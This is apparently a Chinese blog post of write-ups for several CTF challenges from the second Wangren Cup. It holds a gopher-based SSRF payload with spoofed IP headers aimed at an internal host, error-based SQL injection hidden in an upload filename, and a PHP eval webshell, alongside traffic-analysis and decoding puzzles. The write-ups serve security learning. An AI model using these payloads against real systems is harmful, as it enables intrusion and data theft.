持续创作,加速成长!这是我参与「掘金日新计划 · 6 月更文挑战」的第3天,点击查看活动详情
简单整理了一下几个月前第二届网刃杯的部分题解
signin
SSRF一般是先想办法得到目标主机的网络配置信息,如读取/etc/hosts、/proc/net/arp、/proc/net/fib_trie(存放网络适配器地址),从而获得目标主机的内网网段并进行爆破,后面两个所需要的权限高一点。
ARP记录得到WEB地址
http://124.222.24.150:8091/?url=file:///etc/hosts
得到内网ip
172.73.23.100
<?php
highlight_file(__FILE__);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_GET['url']);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_exec($ch);
curl_close($ch);
?> 先给俺GET一个a
gopher协议支持发出GET、POST请求:可以先截获get请求包和post请求包,在构成符合gopher协议的请求。gopher协议是ssrf利用中最强大的协议
注意点
1、问号(?)需要转码为URL编码,也就是%3f
2、回车换行要变为%0d%0a,但如果直接用工具转,可能只会有%0a
3、在HTTP包的最后要加%0d%0a,代表消息结束(具体可研究HTTP包结束)
http://124.222.24.150:8091/?url=gopher://172.73.23.100:80/_POST%2520/%253Fa%253D1%2520HTTP/1.1%250D%250AHost%253A%2520172.73.23.100%250D%250AUser-Agent%253A%2520Mozilla/5.0%2520%2528Windows%2520NT%252010.0%253B%2520Win64%253B%2520x64%253B%2520rv%253A87.0%2529%2520Gecko/20100101%2520Firefox/87.0%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AReferer%253A%2520bolean.club%250D%250AX-Forwarded-For%253A%2520127.0.0.1%250D%250AX-Originating-IP%253A%2520127.0.0.1%250D%250AX-Remote-IP%253A%2520127.0.0.1%250D%250AX-Remote-Addr%253A%2520127.0.0.1%250D%250AContent-Length%253A%25203%250D%250A%250D%250Ab%253D2%250D%250A
需修改referer为boolen.club
X-Forwarded-For: 127.0.0.1
X-Originating-IP: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
得出flag
flag{Have_A_GoOd_T1m3!!!!!!}
upload
一开始我改content-type为ctf上传上去一句话木马,但发现不解析
结果谁会想到在后缀后面会有sql注入?
简单试一下
-----------------------------98267883128919292093295831040
Content-Disposition: form-data; name="upfile"; filename="111.php' and( updatexml(1,concat(0x7e,version(),0x7e),1))) #"
Content-Type: ctf
<?php @eval($_POST['attack']);?>
-----------------------------98267883128919292093295831040--
返回了版本信息,可行
盲猜在flag表里
-----------------------------98267883128919292093295831040
Content-Disposition: form-data; name="upfile"; filename="111.php' and( updatexml(1,concat(0x7e,(select * from flag),0x7e),1))) #"
Content-Type: ctf
<?php @eval($_POST['attack']);?>
-----------------------------98267883128919292093295831040--
但我看好像不太完整
Error: insert into upload_file values('32e7b7119eab9b997ede9481ae9add3f.php' and( updatexml(1,concat(0x7e,(select flag from flag),0x7e),1))) #');<br>XPATH syntax error: '~flag{5937a0b90b5966939cccd36929'
进一步试一下
Content-Disposition: form-data; name="upfile"; filename="111.php' and( updatexml(1,concat(0x7e,(select substr(group_concat(flag),5,30)from flag),0x7e),1))) #"
Content-Type: ctf;
返回
'~{5937a0b90b5966939cccd369291c6~'
继续构造测试拿到后面的
'~a0b90b5966939cccd369291c68aa}~'
拼起来就是flag
easyice
流量包签到
追踪tcp流,就可以看到
ncsubj
追踪tcp流,发现好像有三串编码,连起来
anx1fG58Z3xufGF8cHxmfGh8b3x3fHJ8cHxnfA==
一眼base64
j|u|n|g|n|a|p|f|h|o|w|r|p|g|
一看是某种编码,发现是rot13
用解码工具梭哈试一下
w|h|a|t|a|n|c|s|u|b|j|e|c|t|
xpy07
流量包是加密的,放010里发现base64套娃,解出来就是解压密码
Xyp77&7&77
打开浏览了一遍,在tcp流里有条get请求传参是经过加密的,最后没有解出来
继续看,在tcp流1里发现疑似加密字符串
iPE=e>we,9:={]RnBjf<7_8Cw1b
解码工具一把梭
welcome_S7_world_xyp07
喜欢移动的黑客
开始打不开以为是流量包坏了,去修复了一下感觉不太对,最后用010查看发现是文件头被修改了
正确的应该是
0A 0D 0D 0A
之前没了解过,学到了
结合题目名字,我们过滤一下modbus流量,题目说大于一万是异常的,我们将其转换为16进制为2710,只要找到大于它的第一个数就行,2766数据,位置是68158,合起来转换进制就是flag:1008668158
carefulguy
追踪tcp流,发现666c,即为fl
接着推就行了
666c61677b7034757333313576337279316e7433726573746963397d
转码